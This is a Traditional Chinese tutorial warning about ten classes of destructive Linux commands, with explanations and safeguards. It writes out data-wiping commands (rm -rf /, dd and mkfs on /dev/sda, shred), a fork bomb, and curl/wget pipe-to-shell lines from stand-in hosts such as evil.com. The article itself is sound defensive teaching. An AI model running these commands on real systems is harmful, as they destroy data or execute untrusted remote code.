Linux 指令列強大高效,但也藏著足以讓系統「原地蒸發」的高危指令。本文整理十大必須三思而後行的指令類別,解析破壞機制、實際後果與預防對策。請在測試環境/虛擬機驗證,切勿在生產機嘗試!
rm -rf / # 刪除根目錄所有檔案 (系統徹底毀滅)
rm -rf * # 刪除當前目錄所有檔案
rm -rf . # 刪除當前目錄及子目錄
rm -rf ~ # 刪除家目錄
破壞機制: 遞歸強制刪除,無確認提示,不可恢復 (除非有備份/快照)。
預防:
alias rm='rm -i' (交互確認)trash-cli (垃圾桶機制):alias rm=trashchattr +i (不可變屬性)rm -I (刪除超過 3 檔或遞歸時才確認一次)
:(){ :|:& };:
# 等同於
bomb() { bomb | bomb & }; bomb
破壞機制: 定義函數自我複製兩倍 (前景+背景),指數級產生進程,瞬間耗盡 PID 表、記憶體、CPU,系統凍結需強制重啟。
預防:
/etc/security/limits.conf → * hard nproc 1000DefaultTasksMax=、UserTasksMax=kernel.pid_max, kernel.threads-max
echo "test" > /dev/sda
dd if=/dev/zero of=/dev/sda
cat /some/file > /dev/sda
破壞機制: 直接覆寫磁碟原始區塊,破壞分區表、檔案系統超級區塊、資料區。dd 更是徹底抹除神器。
預防:
lsblk, blkid 確認裝置身份後再操作ro (唯讀) 或使用 LVM 快照
mv /home/user/* /dev/null
mv /etc /dev/null
破壞機制: /dev/null 是字元裝置「黑洞」,寫入即丟棄。mv 跨檔案系統實為複製+刪除,資料實際寫入 /dev/null 後刪除來源,**資料永久遺失** (資料救援軟體也難救回,因已被覆寫/丟棄)。
預防: 同第 1 項,建立 mv -i 別名,重要資料異地備份。
wget https://malicious.site/script.sh -O- | sh
curl -sL https://evil.com/install.sh | bash
破壞機制: 下載並立即執行未經審查的程式碼,可能包含刪除檔案、植入後門、挖礦、勒索軟體等惡意行為。
預防:
wget url -O script.sh,再 cat script.sh 審閱,確認無惡意才執行
mkfs.ext4 /dev/sda
mkfs.xfs /dev/nvme0n1
破壞機制: 在裝置上建立新檔案系統,原有資料結構被覆寫,**資料瞬間歸零**。
預防:
lsblk -f、blkid 多重確認裝置識別碼
> /etc/passwd
> /etc/fstab
> important_config.conf
破壞機制: 截斷檔案長度為 0,內容清空。**單一 > 為覆寫,>> 為附加**。誤操作關鍵設定檔導致服務無法啟動、無法登入。
預防:
cp file file.baktee 而非重導向:echo "content" | sudo tee filechattr +i
# 上一條指令: rm -rf /tmp/test
^test^important_data
# 實際執行: rm -rf /tmp/important_data
破壞機制: Bash 歷史擴充功能,將上一條指令中首個 foo 替換為 bar 並執行。若未仔細確認替換結果,極易產生非預期破壞性操作。
預防:
set +H 或 set +o histexpandfc 編輯歷史指令、或 Ctrl+R 搜尋後編輯!!:gs/foo/bar/ 全域替換並先顯示不執行 (:p)
dd if=/dev/urandom of=/dev/sda bs=1M
shred -n 3 /dev/sda
破壞機制: 寫入隨機資料覆蓋磁碟,**軍事級資料銷毀**,資料絕無法恢復。若誤指向系統盤,系統徹底報銷。
預防: 同第 3、6 項,極度謹慎確認 of= 目標裝置。
# 例: 經過編碼/壓縮/混淆的惡意二進位/腳本
echo "base64_encoded_malware" | base64 -d | sh
# 或 C 程式殼碼注入等
破壞機制: 攻擊者將惡意碼編碼隱藏,誘導受害者複製執行,繞過肉眼檢查。
預防:
curl ... | bash、base64 -d | sh 等| 原則 | 行動 |
|---|---|
| 最小權限 | 日常操作用一般使用者,sudo 單指令提權 |
| 先備份後操作 | 任何寫入操作前 cp -a 備份 |
| 三重確認 | 裝置路徑、檔案路徑、指令語法 |
| 測試環境先行 | 危險操作先在 VM/容器驗證 |
| 拒絕盲目管線 | 不執行未審閱的遠端腳本 |
| 啟用別名保護 | alias rm='rm -i' mv='mv -i' cp='cp -i' |
| 資料異地備份 | 3-2-1 原則:3 份、2 種介質、1 異地 |
敬畏命令列,敬畏資料。每一次 Enter 前的三秒思考,可能拯救整個系統。